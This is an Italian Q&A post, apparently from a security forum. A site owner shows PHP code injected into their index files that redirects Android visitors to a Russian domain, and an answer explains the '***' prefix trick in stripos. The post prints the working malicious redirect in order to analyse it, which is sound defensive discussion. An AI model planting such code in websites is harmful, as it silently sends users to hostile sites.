Perché aggiungere "***" in user-agent in questo codice dannoso?

1

Ho trovato quanto segue in ogni file indice dei miei siti su un server che ho. Sembra che stia reindirizzando tutti gli utenti Android a qualche spettrale sito russo.

$ua = $_SERVER['HTTP_USER_AGENT'];
if(stripos("***$ua",'android') !== false){
header("Location: http://andsecurity.ru");
die();
}

La mia domanda è: nella funzione stripos, aggiungono tre asterischi davanti alla variabile agente utente, perché dovrebbero farlo? Cosa fa?

    
posta SpookyRussianSites 13.10.2014 - 21:02
fonte

1 risposta

4

Potrebbe essere dovuto a un (cattivo) codice precedente o per evitare avvisi / errori nelle risposte.

stripos restituisce il possesso del secondo parametro nel primo, iniziando gli indici in 0 , quindi in un codice errato if (stripos($ua,'android')) la condizione verrebbe ignorata come false nel caso in cui la stringa sia iniziata con android .

La soluzione corretta userebbe === e !== , ma anteporre una stringa che non corrisponderebbe prima della stringa di test, rende qualsiasi corrispondenza almeno al valore 1 ( 3 in questo caso ), evitando la necessità di utilizzare !== false .

Copre anche il caso in cui manca l'user-agent per evitare qualsiasi tipo di avviso / errore in fase di esecuzione.

    
risposta data 13.10.2014 - 21:42
fonte

Leggi altre domande sui tag